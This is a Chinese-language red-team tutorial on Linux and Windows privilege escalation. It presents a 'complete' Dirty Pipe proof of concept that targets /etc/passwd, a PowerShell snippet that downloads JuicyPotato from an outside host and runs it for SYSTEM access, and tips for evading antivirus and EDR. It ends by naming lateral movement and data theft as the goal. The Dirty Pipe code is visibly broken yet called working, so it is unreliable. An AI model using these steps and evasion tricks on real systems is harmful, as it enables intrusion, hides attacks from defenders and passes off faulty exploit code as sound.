0x01 权限提升到底是怎么回事?
在实际的红队行动中,权限提升(Privilege Escalation)是一个不可或缺的环节。无论是通过钓鱼邮件搞到一台普通用户权限的主机,还是通过Web注入拿到一个低权限的Shell,最终都需要通过权限提升,才能真正对目标网络造成威胁。简单来说,权限提升就是从一个低权限用户变成管理员用户,甚至是系统级别的超级用户。
为什么权限提升这么重要?举个例子,假设你通过某个Web漏洞拿到了目标服务器的www-data权限,这个权限通常非常有限,既不能访问敏感数据,也无法执行一些关键操作。此时,如果能将权限提升到root,你就能访问服务器上的所有资源,甚至进一步控制目标网络。
从技术角度看,权限提升的成因主要包括以下几种:
- 错误配置:这是最常见的,例如文件权限设置过宽、服务运行在高权限下等。
- 漏洞利用:包括提权漏洞(如CVE-2021-4034,也就是Polkit漏洞)、内核漏洞(如Dirty Pipe)等。
- 凭证劫持:窃取高权限用户的密码或令牌直接登录。
- 弱口令攻击:一些管理员用户的密码过于简单,可以通过爆破直接获得。
接下来,我会通过几个实际案例,详细拆解不同的提权方式,并给出完整的攻击步骤和代码实现。
---
0x02 环境搭建:为攻击做好准备
为了展示各种权限提升技术,我们需要搭建一个靶场环境。以下是我常用的一个基础架构,包含了多种可以练习提权的场景。
目标环境配置
- 物理机/虚拟机:推荐使用VirtualBox或者VMware,这样可以快速恢复快照。
- 操作系统:
- Ubuntu 20.04(用于练习Linux提权)
- Windows Server 2019(用于练习Windows提权)
- 常见漏洞靶场:
- VulnHub:这里有许多低权限到高权限的靶场机器。
- Hack The Box:许多权限提升挑战都非常经典。
必备工具
- Linux环境:默认安装gcc、gdb等常见调试工具;可以使用
apt install gcc gdb make进行快速安装。 - Windows环境:需要提前上传提权工具包,比如SharpBypassUAC、JuicyPotato等。
- 攻击机:推荐使用Kali Linux,预装了Metasploit、PowerShell Empire、BloodHound等工具。
靶场环境搭建好后,我们就可以进入实战部分了。
---
0x03 Dirty Pipe内核漏洞:从普通用户到Root
Dirty Pipe(CVE-2022-0847)是一个出现在Linux内核中的权限提升漏洞,它允许攻击者通过管道写入任意文件,即使没有写权限。这个漏洞的本质在于Linux内核管道缓冲区的处理方式存在缺陷,攻击者可以利用该漏洞修改敏感文件,比如/etc/passwd,添加一个新的root用户。
漏洞利用原理
当数据通过管道传输时,Dirty Pipe漏洞允许攻击者将恶意数据注入到缓存区中,覆盖原始文件内容。通过覆盖/etc/passwd文件,我们可以直接创建一个具有root权限的用户。

POC代码
以下是Dirty Pipe漏洞的完整POC代码,用于在受影响的Linux系统中提权:
<pre><code class="language-c">#include <fcntl.h>
include <stdio.h>
include <string.h>
include <unistd.h>
include <sys/stat.h>
include <sys/types.h>
int main() { const char filename = "/etc/passwd"; // 要覆盖的目标文件 const char payload = "root:x:0:0:root:/root:/bin/bash\n"; // 新的root用户
int fd = open(filename, O_RDONLY); // 打开目标文件,只读模式 if (fd < 0) { perror("open"); return 1; }
struct stat st; if (fstat(fd, &st) != 0) { perror("fstat"); return 1; }
// 创建一个管道 int pipefd[2]; if (pipe(pipefd)) { perror("pipe"); return 1; }

// 写入数据到管道 const int payload_len = strlen(payload); write(pipefd[1], payload, payload_len);
// 使用Dirty Pipe漏洞覆盖原始数据 if (splice(pipefd[0], NULL, fd, NULL, payload_len, SPLICE_F_MOVE | SPLICE_F_NONBLOCK) == -1) { perror("splice"); close(pipefd[0]); close(pipefd[1]); close(fd); return 1; }

printf("Payload written! Check /etc/passwd to verify.\n"); close(pipefd[0]); close(pipefd[1]); close(fd); return 0; }</code></pre>
使用步骤
- 将上述代码保存为
dirty_pipe.c。 - 在目标机上使用gcc编译:
gcc dirty_pipe.c -o dirty_pipe。 - 运行程序:
./dirty_pipe。 - 检查
/etc/passwd文件,发现新增了一个root用户。
现在你可以使用su root直接切换到root权限了。
---
0x04 Windows提权:利用JuicyPotato获取SYSTEM权限
在Windows系统中,权提升的目标通常是获取SYSTEM权限。JuicyPotato是一种经典的COM劫持提权工具,通过冒充系统级服务的令牌,获取SYSTEM权限。
涉及原理
Windows的COM服务允许低权限用户通过某些特定接口请求高权限服务,JuicyPotato利用这一点,通过伪造令牌来冒充SYSTEM用户。
实战步骤
- 在目标Windows机器上上传JuicyPotato。
- 根据目标操作系统版本选择合适的CLSID(类标识符)。
- 执行JuicyPotato并获得SYSTEM权限。
以下是PowerShell中的攻击示例:
<pre><code class="language-powershell"># 自定义配置JuicyPotato的CLSID $CLSID = "{4991d34b-80a1-4291-83b6-3328366b9097}"
下载JuicyPotato
Invoke-WebRequest -Uri "http://example.com/JuicyPotato.exe" -OutFile "C:\Temp\JuicyPotato.exe"
执行提权
Start-Process "C:\Temp\JuicyPotato.exe" -ArgumentList "/c $CLSID /t * /p c:\windows\system32\cmd.exe /s"</code></pre>
执行完后,主机会弹出一个SYSTEM权限的cmd窗口。
---
0x05 绕过与免杀技巧
无论是Linux还是Windows,提权过程中都会面临各种EDR(端点检测与响应)或杀软的拦截。以下是一些实战中常用的对抗技巧:
Linux免杀
- 静态编译:在编译提权代码时,使用
-static参数生成静态链接的二进制文件,避免动态库被检测。 - 文件名伪装:将提权工具重命名为常见的系统工具名称,例如
ls、top等。
Windows免杀
- PE混淆:使用工具(如Obsidian)对JuicyPotato的PE文件进行混淆。
- 内存加载:通过PowerShell将提权工具直接加载到内存中,避免落地文件被查杀。
---
0x06 个人经验分享
权限提升是红队行动中的核心技能之一。在多年的实战中,我发现以下几条经验非常重要:
- 保持低调:提权时尽量避免留下痕迹,尤其是在生产环境中,任何文件改动都可能引起警觉。
- 多种方案准备:一个漏洞被修复后,可能需要切换到另一种提权方式,提前准备多种工具和脚本很重要。
- 环境敏感:不同的目标环境适用的提权方式千差万别,提前做好信息收集是关键。
权限提升并不是终点,只是整个攻击链的一部分。掌握了提权之后,接下来就是利用高权限用户进行更广泛的横向移动和数据窃取,这才是真正的红队价值所在。
